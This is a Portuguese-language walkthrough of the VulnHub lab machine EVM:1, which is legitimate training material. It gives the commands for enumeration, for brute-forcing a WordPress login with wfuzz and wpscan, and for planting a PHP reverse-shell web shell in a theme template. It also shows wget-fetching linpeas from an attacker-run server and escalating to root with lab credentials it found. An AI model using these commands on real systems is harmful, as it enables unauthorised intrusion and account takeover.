Link da Maquina: https://www.vulnhub.com/entry/evm-1,391/
Scan/Enumeracao
Host Discovery
- Com o arp-scan descobrimos que o nosso alvo esta no ip 192.168.150.118
1
sudo arp-scan -I eth1 192.168.56.0/24
Port Discovery
- Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 07 delas abertas. 22, 53, 80, 110, 139, 143 e 445
1
sudo nmap -n -T5 -p- 192.168.56.103
Port Scan
- Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo
1
sudo nmap -n -T5 -A -p 22,53,80,110,139,143,445 192.168.56.103
- Porta 22: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
- Porta 53: ISC BIND 9.10.3-P4 (Ubuntu Linux)
- Porta 80: Apache httpd 2.4.18 ((Ubuntu))
- Porta 110: Dovecot pop3d
- Porta 139: Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
- Porta 143: Dovecot imapd
- Porta 445: Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Enumeracao SAMBA
- Rodamos o SMBMap, enum4linux e smbclient e nao encotramos nada a principio
Enumeracao Web (80)
- Acessando a pagina http://192.168.56.103/ temos a pagina default do apache2, nela contem uma dica “you can find me at /wordpress/ im vulnerable webapp :)”
- Acessando a pagina http://192.168.56.103/wordpress/ temos uma pagina do Wordpress. Logo no inicio conseguimos identificar facilmente que existe um usuario c0rrupt3d_brain, e existem 03 comentarios…
- Nos comentarios o usuario “c0rrupt3d_brain” deixou algumas dicas. A primeira delas e que a aplicacao web e extremamente vulneravel, a segunda ele diz que tem uma senha ruim e que e possivel quebrar a senha dele com bruteforce… A terceira dica e que podemos executar o wpscan na aplicacao para obter informacoes sobre plugins vulneraveis
Fuzzy de diretorios
- Vamos fazer um fuzzy de diretorios na pagina do Wordpress
- Achamos alguns diretorios, porem nada interessante, por enquanto…
WPSCAN
- Seguindo uma das dicas que encontramos vamos rodar o WPSCAN, para procurar plugins vulneraveis.
- Encontramos um plugin o “photo-gallery”
- Encontramos, tambem, o usuario que ja tinhamos achado na pagina do wordpress
Exploracao
Brute Force
Uma das dicas do usuarios e que a senha dele e fraca, entao vamos tentar quebrar a senha combruteforce na pagina de login do wordpress.
Para fins didadicos e para registrar mais de uma maneira, caso precise utilizar mais para frente, vou demonstrar 02 formas de realiazar o bruteforce na pagina web
Wordlist
- Para fins didaticos vamos preparar uma wordlist conseguir testar os comando e nao demorar muito. Mas inicialmente foi utilizado a rockyou.txt para quebrar a senha
1
cat /usr/share/wordlists/rockyou.txt | grep -C 10 "24992499" | sed 's/--//g' | grep -v "^$" > senhas.txt
WFUZZ
- Vamos utilizar o wfuuz para quebrar do usuario que ja conhecemos na pagina do wordpress…
1
wfuzz -c -w senhas.txt -d "log=c0rrupt3d_brain&pwd=FUZZ" --hw 255 http://192.168.56.103/wordpress/wp-login.php
- c0rrupt3d_brain:24992499
WPSCAN
- Tambem conseguimos fazer o bruteforce com o wpscan…
1
sudo wpscan --url http://192.168.56.103/wordpress/wp-login.php -U c0rrupt3d_brain -P senhas.txt
- c0rrupt3d_brain:24992499
Shell Reverso
Nessa maquina existem varias maneiras que podemos conseguir o shell reverso. Dentre elas podemos utilizar:
WPFORCE: Pode ser baixado atraves do seu repositorio no Github. Essa maneira e a mais facil, o passo a passo pode ser encontrado no blog do 0x4rt3mis
METASPLOIT: Por meio do msfconsole podemos utilizar o exploit exploit/unix/webapp/wp_admin_shell_upload que iremos conseguir o shell reverso. O passo a passo tambem pode ser encontrado no blog do 0x4rt3mis
Vou demonstrar a maneira, mais trabalhosa, porem e a que conseguimos ver no detalhe o que relmente acontece. Entendendo a maneira mais complicada as outras conseguimos fazer facilmente…
O primeiro passo e logar na aplicacao com as credenciais que encontramos
- Em segundo lugar vamos ate a aba “Appearance” » “Theme Editor” e procuramos por algum que possamos editar. Nesse caso encontramos o tema “404 Template”. Inclusive nele tem uma mensagem para inserirmos o nosso shell code php
- No kali tem um diretorio que contem web-shells prontos, entao vamos utilizar um deles
- Copiamos o conteudo do arquivo de exemplo do kali e colamos no editor de temas do wordpress. Alteramos as informacoes necessarias, IP e PORTA
- Agora e so enviar o nosso payload
- Antes de executarmos o payload temos que deixar a porta que configuramos no nosso payload aberta na maquina kali para receber o shell reverso. Depois disso basta executar o payload atraves da URL
1
http://192.168.56.103/wordpress/wp-content/themes/twentynineteen/404.php
- Temos o shell do usuario www-data
Escalacao de Privilegio
Linpeas
- Vamos enumerar as vulnerabilidades para escalar privilegio com o script linpeas.sh. Vamos seguir os seguintes passos
- 01: Baixar o script, no github, para a nossa maquina kali
sudo git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
- 02: Levantar um servidor web com o python no diretorio que esta o script
sudo python3 -m http.server 80
- 03: No alvo, vamos baixar o arquivo com o wget
wget 192.168.56.101/linpeas.sh
- 04: Dar permissao de execucao para o arquivo baixado
chmod +x linpeas.sh
- 05: Finalmente executar o script
./linpeas.sh
- Conseguimos achar uma credencial para acessar o banco de dados: root:123
MySQL
- Acessando o MySQL
1
mysql -uroot -p
- Verificando os bancos existentes
1
show databases;
- Vamos ver quais sao as tabelas do banco vulnwp
1
2
use vulnwp
show tables;
- Acessando os dados das tabelas nao encontramos nada de util… O unico usuairio que encontramos foi o c0rrupt3d_brain
1
select * from wp_users
Arquivos
- Seguindo a metodologia verificamos quais sao os arquivos que temos permissao de escrita… Depois de filtrar os arquivos rolhas achamos alguns interessantes no diretorio /home/root3r/
1
find / -type f -writable 2> /dev/null | fgrep -v proc | fgrep -v var | fgrep -v sys
- Quando rodamos o linpeas no alvo ele nos retornou esses arquivos, o probela e que a saida dele e muito grande… pra achar tem que olhar com calma o resultado
- O arquivo que mais chamou atencao foi o .root_password_ssh.txt. Pelo que parece e a senha de acesso via ssh do usuario root, willy26
ROOT
- Agora que temos a senha vamos logar com o usuario root. Podemos logar via ssh ou simplesmente logar diretamento no shell do usuario www-data
- PRONTO, AGORA SOMOS ROOT!
Flag
- Conseguimos pegar a Flag de ROOT